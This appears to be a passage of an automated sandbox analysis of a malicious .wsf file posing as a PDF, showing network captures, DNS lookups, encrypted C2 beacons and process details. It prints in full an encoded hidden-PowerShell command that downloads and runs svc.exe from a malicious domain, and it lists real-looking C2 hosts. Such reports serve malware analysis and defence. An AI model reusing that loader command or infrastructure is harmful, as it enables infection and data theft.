Oct 4, 2024 15:10:31.089016914 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.089030981 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.089256048 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:31.089485884 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:31.089646101 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:31.092139959 CEST	49703	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:31.101937056 CEST	80	49703	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:59.819365025 CEST	49710	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:59.824373007 CEST	80	49710	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:59.824718952 CEST	49710	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:59.824718952 CEST	49710	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:59.824718952 CEST	49710	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:10:59.829781055 CEST	80	49710	193.46.217.78	192.168.2.10
Oct 4, 2024 15:10:59.829794884 CEST	80	49710	193.46.217.78	192.168.2.10
Oct 4, 2024 15:11:00.938776970 CEST	80	49710	193.46.217.78	192.168.2.10
Oct 4, 2024 15:11:00.938868999 CEST	80	49710	193.46.217.78	192.168.2.10
Oct 4, 2024 15:11:00.938930988 CEST	49710	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:11:01.000483990 CEST	49710	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:11:01.005250931 CEST	80	49710	193.46.217.78	192.168.2.10
Oct 4, 2024 15:11:01.476128101 CEST	49711	80	192.168.2.10	188.40.141.211
Oct 4, 2024 15:11:01.481771946 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:01.481903076 CEST	49711	80	192.168.2.10	188.40.141.211
Oct 4, 2024 15:11:01.482055902 CEST	49711	80	192.168.2.10	188.40.141.211
Oct 4, 2024 15:11:01.482085943 CEST	49711	80	192.168.2.10	188.40.141.211
Oct 4, 2024 15:11:01.487318039 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:01.487330914 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:02.320158005 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:02.326832056 CEST	49711	80	192.168.2.10	188.40.141.211
Oct 4, 2024 15:11:02.326869965 CEST	49711	80	192.168.2.10	188.40.141.211
Oct 4, 2024 15:11:02.332215071 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:02.332324982 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:02.529197931 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:02.573844910 CEST	49711	80	192.168.2.10	188.40.141.211
Oct 4, 2024 15:11:27.244211912 CEST	49713	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:11:27.253375053 CEST	80	49713	193.46.217.78	192.168.2.10
Oct 4, 2024 15:11:27.253521919 CEST	49713	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:11:27.253731966 CEST	49713	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:11:27.253731966 CEST	49713	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:11:27.262788057 CEST	80	49713	193.46.217.78	192.168.2.10
Oct 4, 2024 15:11:27.263977051 CEST	80	49713	193.46.217.78	192.168.2.10
Oct 4, 2024 15:11:28.362041950 CEST	80	49713	193.46.217.78	192.168.2.10
Oct 4, 2024 15:11:28.362112999 CEST	80	49713	193.46.217.78	192.168.2.10
Oct 4, 2024 15:11:28.362202883 CEST	49713	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:11:28.363143921 CEST	49713	80	192.168.2.10	193.46.217.78
Oct 4, 2024 15:11:28.365392923 CEST	49711	80	192.168.2.10	188.40.141.211
Oct 4, 2024 15:11:28.365392923 CEST	49711	80	192.168.2.10	188.40.141.211
Oct 4, 2024 15:11:28.368098021 CEST	80	49713	193.46.217.78	192.168.2.10
Oct 4, 2024 15:11:28.370214939 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:28.370240927 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:28.558135033 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:28.563607931 CEST	49711	80	192.168.2.10	188.40.141.211
Oct 4, 2024 15:11:28.563641071 CEST	49711	80	192.168.2.10	188.40.141.211
Oct 4, 2024 15:11:28.572530031 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:28.572958946 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:28.773679018 CEST	80	49711	188.40.141.211	192.168.2.10
Oct 4, 2024 15:11:28.823919058 CEST	49711	80	192.168.2.10	188.40.141.211

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 15:10:26.644543886 CEST	60099	53	192.168.2.10	1.1.1.1
Oct 4, 2024 15:10:27.063606024 CEST	53	60099	1.1.1.1	192.168.2.10
Oct 4, 2024 15:10:59.571042061 CEST	62503	53	192.168.2.10	1.1.1.1
Oct 4, 2024 15:10:59.818275928 CEST	53	62503	1.1.1.1	192.168.2.10
Oct 4, 2024 15:11:01.002840042 CEST	51162	53	192.168.2.10	1.1.1.1
Oct 4, 2024 15:11:01.474363089 CEST	53	51162	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 4, 2024 15:10:26.644543886 CEST	192.168.2.10	1.1.1.1	0x5141	Standard query (0)	bestmagazineforanimalsunicum.ru	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:10:59.571042061 CEST	192.168.2.10	1.1.1.1	0x49d8	Standard query (0)	unicexpertmagazine.pw	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:11:01.002840042 CEST	192.168.2.10	1.1.1.1	0x4654	Standard query (0)	ceoconstractionstore.pl	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 4, 2024 15:10:27.063606024 CEST	1.1.1.1	192.168.2.10	0x5141	No error (0)	bestmagazineforanimalsunicum.ru	193.46.217.78	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:10:59.818275928 CEST	1.1.1.1	192.168.2.10	0x49d8	No error (0)	unicexpertmagazine.pw	193.46.217.78	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:11:01.474363089 CEST	1.1.1.1	192.168.2.10	0x4654	No error (0)	ceoconstractionstore.pl	188.40.141.211	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bestmagazineforanimalsunicum.ru

dneagbdmtkktop.org

unicexpertmagazine.pw

gspupvuevfny.net

ceoconstractionstore.pl

nqgjgifqepqt.com

biegpmdfbwuaocv.org

xcltdjfoaardilo.net

ebsdyhoseklppw.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49703	193.46.217.78	80	7248	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:10:27.079555035 CEST	97	OUT	GET /download/svc.exe HTTP/1.1 Host: bestmagazineforanimalsunicum.ru Connection: Keep-Alive
Oct 4, 2024 15:10:28.037300110 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 04 Oct 2024 13:10:27 GMT Content-Type: application/x-msdos-program Content-Length: 222720 Connection: close Last-Modified: Wed, 02 Oct 2024 05:06:08 GMT ETag: "36600-62377654eb000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 06 d2 fc 49 42 b3 92 1a 42 b3 92 1a 42 b3 92 1a 5c e1 16 1a 5e b3 92 1a 5c e1 07 1a 51 b3 92 1a 5c e1 11 1a 1e b3 92 1a 65 75 e9 1a 45 b3 92 1a 42 b3 93 1a 32 b3 92 1a 5c e1 18 1a 43 b3 92 1a 5c e1 06 1a 43 b3 92 1a 5c e1 03 1a 43 b3 92 1a 52 69 63 68 42 b3 92 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1e 60 49 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 80 01 00 00 64 11 00 00 00 00 00 16 17 00 00 00 10 00 00 00 90 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 13 00 00 04 00 00 03 a2 03 00 02 00 00 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$IBBB\^\Q\euEB2\C\C\CRichBPEL`Ied@DPPX.text~ `.rdata" "@@.data@.tls@@.rsrcP@@
Oct 4, 2024 15:10:28.037318945 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b 0d 08 c0 41 00 75 02 f3 c3 e9 11 07 00 00 6a 0c 68 90 a4 41 00 e8 05 15 00 00 8b 75 08 85 f6 74 Data Ascii: ;AujhAutu=?QuCjYeVYEtVP>YYE}u7ujYVj5AAuhAPYUQeVEPuuUu9E
Oct 4, 2024 15:10:28.037331104 CEST	1236	IN	Data Raw: 00 83 7d 10 00 75 28 89 1d 70 d7 41 00 6a 08 e8 96 04 00 00 59 ff 75 08 e8 fc fd ff ff 33 db 43 83 7d 10 00 74 08 6a 08 e8 7d 04 00 00 59 c3 e8 8e 10 00 00 c3 8b ff 55 8b ec 6a 00 6a 00 ff 75 08 e8 c3 fe ff ff 83 c4 0c 5d c3 8b ff 55 8b ec 6a 00 Data Ascii: }u(pAjYu3C}tj}YUjju]Ujju]jjjjjjVV8Vp8V&VU8V@8V(6V4V4h@&$A^U=\|Au1ua/h'Y
Oct 4, 2024 15:10:28.037444115 CEST	1236	IN	Data Raw: db 39 1d a4 da 41 00 75 18 e8 12 2d 00 00 6a 1e e8 60 2b 00 00 68 ff 00 00 00 e8 26 f9 ff ff 59 59 8b 75 08 8d 34 f5 88 c1 41 00 39 1e 74 04 8b c7 eb 6e 6a 18 e8 5f 3b 00 00 59 8b f8 3b fb 75 0f e8 ab fe ff ff c7 00 0c 00 00 00 33 c0 eb 51 6a 0a Data Ascii: 9Au-j`+h&YYu4A9tnj_;Y;u3QjYY]9u,hW3YYuW"Yu]>WYEEHj(YUEV4A>uP"YujY6A^]U?Q?Q
Oct 4, 2024 15:10:28.037456989 CEST	896	IN	Data Raw: 8b c6 5f 5e c3 8b ff 55 8b ec 51 51 8b 4d 08 8b 41 08 53 56 8b 71 10 57 33 db eb 03 03 c0 43 85 c0 7d f9 8b c3 69 c0 04 02 00 00 8d 84 30 44 01 00 00 6a 3f 89 45 f8 5a 89 40 08 89 40 04 83 c0 08 4a 75 f4 6a 04 8b fb 68 00 10 00 00 c1 e7 0f 03 79 Data Ascii: _^UQQMASVqW3C}i0Dj?EZ@@JujhyhWAupU;wC+GAH@PIuUEOHAJHAdD3GFCENC
Oct 4, 2024 15:10:28.037883997 CEST	1236	IN	Data Raw: 04 3b 4b 08 75 57 8a 4c 06 04 88 4d 0f fe c1 88 4c 06 04 83 fe 20 73 1c 80 7d 0f 00 75 0e 8b ce bf 00 00 00 80 d3 ef 8b 4d 08 09 39 8d 44 90 44 8b ce eb 20 80 7d 0f 00 75 10 8d 4e e0 bf 00 00 00 80 d3 ef 8b 4d 08 09 79 04 8d 84 90 c4 00 00 00 8d Data Ascii: ;KuWLML s}uM9DD }uNMyNED3@_^[U?QMk?QMSI VW}M3U?QS;#U#u];r;u?QS;#U#u
Oct 4, 2024 15:10:28.037897110 CEST	1236	IN	Data Raw: 58 0c 74 12 68 08 c0 41 00 57 8b d3 8b c8 e8 e2 33 00 00 8b 45 0c 8b 4d f8 89 48 0c 8b 06 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 31 e9 ff ff 8b 4e 0c 8b 56 08 03 cf 33 0c 3a e8 21 e9 ff ff 8b 45 f0 8b 48 08 8b d7 e8 75 33 00 00 ba fe ff ff ff Data Ascii: XthAW3EMHtN381NV3:!EHu39SRhAW3jhAM3;v.jX3;E@u3WWWWW3Mu;u3F3]wi=?QuKuE;?Qw7jY}
Oct 4, 2024 15:10:28.037908077 CEST	1236	IN	Data Raw: 0f b6 03 3b c8 77 16 2b c1 40 50 8d 94 0d fc fe ff ff 6a 20 52 e8 23 2f 00 00 83 c4 0c 43 8a 03 43 84 c0 75 d8 6a 00 ff 76 0c 8d 85 fc fa ff ff ff 76 04 50 57 8d 85 fc fe ff ff 50 6a 01 6a 00 e8 11 36 00 00 33 db 53 ff 76 04 8d 85 fc fd ff ff 57 Data Ascii: ;w+@Pj R#/CCujvvPWPjj63SvWPWPWvS3DSvWPWPhvS3$3EtLtL @;rV3)
Oct 4, 2024 15:10:28.037919044 CEST	1236	IN	Data Raw: 90 41 00 ff d7 f6 46 70 02 0f 85 ea 00 00 00 f6 05 cc c7 41 00 01 0f 85 dd 00 00 00 6a 0d e8 bd e9 ff ff 59 83 65 fc 00 8b 43 04 a3 0c dc 41 00 8b 43 08 a3 10 dc 41 00 8b 43 0c a3 14 dc 41 00 33 c0 89 45 e4 83 f8 05 7d 10 66 8b 4c 43 10 66 89 0c Data Ascii: AFpAjYeCACACA3E}fLCfEA@3E=}LA@3E=}A@5AAuA=AtPYASE0j6Y%u AtSY4
Oct 4, 2024 15:10:28.037930012 CEST	896	IN	Data Raw: 85 c0 74 21 a1 c0 c8 41 00 83 f8 ff 74 17 50 ff 35 c4 c8 41 00 ff d6 ff d0 85 c0 74 08 8b 80 fc 01 00 00 eb 27 be 80 92 41 00 56 ff 15 2c 90 41 00 85 c0 75 0b 56 e8 e2 dc ff ff 59 85 c0 74 18 68 9c 92 41 00 50 ff 15 6c 90 41 00 85 c0 74 08 ff 75 Data Ascii: t!AtP5At'AV,AuVYthAPlAtuEE^]AV5AAu5@AeYV5AA^AtP5HA;YAAtPAAjhA!AV,Au
Oct 4, 2024 15:10:28.042684078 CEST	1236	IN	Data Raw: c3 8b ff 56 57 be 80 92 41 00 56 ff 15 2c 90 41 00 85 c0 75 07 56 e8 82 d9 ff ff 59 8b f8 85 ff 0f 84 5e 01 00 00 8b 35 6c 90 41 00 68 cc 92 41 00 57 ff d6 68 c0 92 41 00 57 a3 3c dc 41 00 ff d6 68 b4 92 41 00 57 a3 40 dc 41 00 ff d6 68 ac 92 41 Data Ascii: VWAV,AuVY^5lAhAWhAW<AhAW@AhAWDA=<A5AHAt=@At=DAtu$A@AA<Ay5@5DAHAAA5@AP5<A5@A<A5DA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49710	193.46.217.78	80	3968	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:10:59.824718952 CEST	289	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dneagbdmtkktop.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 124 Host: unicexpertmagazine.pw
Oct 4, 2024 15:10:59.824718952 CEST	124	OUT	Data Raw: a1 5f 7c 5e 85 4a 2c cb c0 4d a7 b7 fd c9 2f 49 5c 33 ce 29 60 c0 43 23 a1 54 ca 6f 71 8f 03 5d ba 56 d8 fe 3d a5 00 38 5e b9 cd 07 a8 44 1c 4d a6 60 28 1e cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be ac 36 4a b8 Data Ascii: _\|^J,M/I\3)`C#Toq]V=8^DM`(2m-^JrC)6J>NNqzVfU)Bow
Oct 4, 2024 15:11:00.938776970 CEST	602	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 04 Oct 2024 13:11:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 [TRUNCATED] Data Ascii: 1a2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at unicexpertmagazine.pw Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49711	188.40.141.211	80	3968	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:11:01.482055902 CEST	289	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gspupvuevfny.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 145 Host: ceoconstractionstore.pl
Oct 4, 2024 15:11:01.482085943 CEST	145	OUT	Data Raw: a1 5f 7c 5e 85 4a 2c cb c0 4d a7 b7 fd c9 2f 49 5c 33 ce 29 60 c0 43 23 a1 54 ca 6f 71 8f 03 5d ba 56 d8 fe 3d a5 00 38 5e b9 cd 07 a8 44 1c 4d a6 60 28 1e cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be a6 09 60 a0 Data Ascii: _\|^J,M/I\3)`C#Toq]V=8^DM`(2m-^JrC)`zuEC\|x./1,~l%*oxtiC"
Oct 4, 2024 15:11:02.320158005 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 7 Content-Type: application/octet-stream Date: Fri, 04 Oct 2024 13:11:02 GMT Data Raw: 03 00 00 00 7d 4f d6 Data Ascii: }O
Oct 4, 2024 15:11:02.326832056 CEST	289	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nqgjgifqepqt.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 368 Host: ceoconstractionstore.pl
Oct 4, 2024 15:11:02.326869965 CEST	368	OUT	Data Raw: a1 5f 7c 5e 85 4a 2c cb c0 4d a7 b7 fd c9 2f 49 5c 33 ce 29 60 c0 43 23 a1 54 ca 6f 71 8f 03 5d ba 56 d8 fe 3d a5 00 38 5e b9 cd 07 a8 44 1c 4d a6 60 28 1e cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 1b 1d bc ca bf 4a 73 43 29 be 9a 3f 75 b9 Data Ascii: _\|^J,M/I\3)`C#Toq]V=8^DM`(2m-^JsC)?uuZ?;aa.\[f#I%7Q%cz(dh}[bWLk-byX8H/QsJI'^nU9[1kH5U]gv/}Kp]D*
Oct 4, 2024 15:11:02.529197931 CEST	144	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Fri, 04 Oct 2024 13:11:02 GMT
Oct 4, 2024 15:11:28.365392923 CEST	292	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xcltdjfoaardilo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 362 Host: ceoconstractionstore.pl
Oct 4, 2024 15:11:28.365392923 CEST	362	OUT	Data Raw: a1 5f 7c 5e 85 4a 2c cb c0 4d a7 b7 fd c9 2f 49 5c 33 ce 29 60 c0 43 23 a1 54 ca 6f 71 8f 03 5d ba 56 d8 fe 3d a5 00 38 5e b9 cd 07 a8 44 1c 4d a6 60 28 1e cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be bf 5f 24 ce Data Ascii: _\|^J,M/I\3)`C#Toq]V=8^DM`(2m-^JrC)_$m_QkQt`+5+WB~(?F8e^-yFA@}ji#P:x@hhK:Grqe#DZWOf'6NGbf@0,W}(2ZX
Oct 4, 2024 15:11:28.558135033 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 7 Content-Type: application/octet-stream Date: Fri, 04 Oct 2024 13:11:28 GMT Data Raw: 03 00 00 00 7d 4f d6 Data Ascii: }O
Oct 4, 2024 15:11:28.563607931 CEST	291	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ebsdyhoseklppw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 366 Host: ceoconstractionstore.pl
Oct 4, 2024 15:11:28.563641071 CEST	366	OUT	Data Raw: a1 5f 7c 5e 85 4a 2c cb c0 4d a7 b7 fd c9 2f 49 5c 33 ce 29 60 c0 43 23 a1 54 ca 6f 71 8f 03 5d ba 56 d8 fe 3d a5 00 38 5e b9 cd 07 a8 44 1c 4d a6 60 28 1e cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 1b 1d bc ca bf 4a 73 43 29 be ee 04 39 c2 Data Ascii: _\|^J,M/I\3)`C#Toq]V=8^DM`(2m-^JsC)9\^:Vn" 'ZeX,$1.P7t}oWB"dd/Alf9earH-HdJv$sMb$-p%{TyLQb=,w
Oct 4, 2024 15:11:28.773679018 CEST	144	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Fri, 04 Oct 2024 13:11:28 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49713	193.46.217.78	80	3968	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:11:27.253731966 CEST	290	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://biegpmdfbwuaocv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 226 Host: unicexpertmagazine.pw
Oct 4, 2024 15:11:27.253731966 CEST	226	OUT	Data Raw: a1 5f 7c 5e 85 4a 2c cb c0 4d a7 b7 fd c9 2f 49 5c 33 ce 29 60 c0 43 23 a1 54 ca 6f 71 8f 03 5d ba 56 d8 fe 3d a5 00 38 5e b9 cd 07 a8 44 1c 4d a6 60 28 1e cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e7 27 40 bd Data Ascii: _\|^J,M/I\3)`C#Toq]V=8^DM`(2m-^JrC)'@V\|I:m+}_=KXSfGrdG:SEuW@?DsNlpl\|W>YvW?qC~55PbDp4=9x\|
Oct 4, 2024 15:11:28.362041950 CEST	602	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 04 Oct 2024 13:11:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 [TRUNCATED] Data Ascii: 1a2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at unicexpertmagazine.pw Port 80</address></body></html>0

Target ID:	0
Start time:	09:10:20
Start date:	04/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3312.PDF.wsf"
Imagebase:	0x7ff72f680000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:10:22
Start date:	04/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Imagebase:	0x7ff7fc0b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:10:22
Start date:	04/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
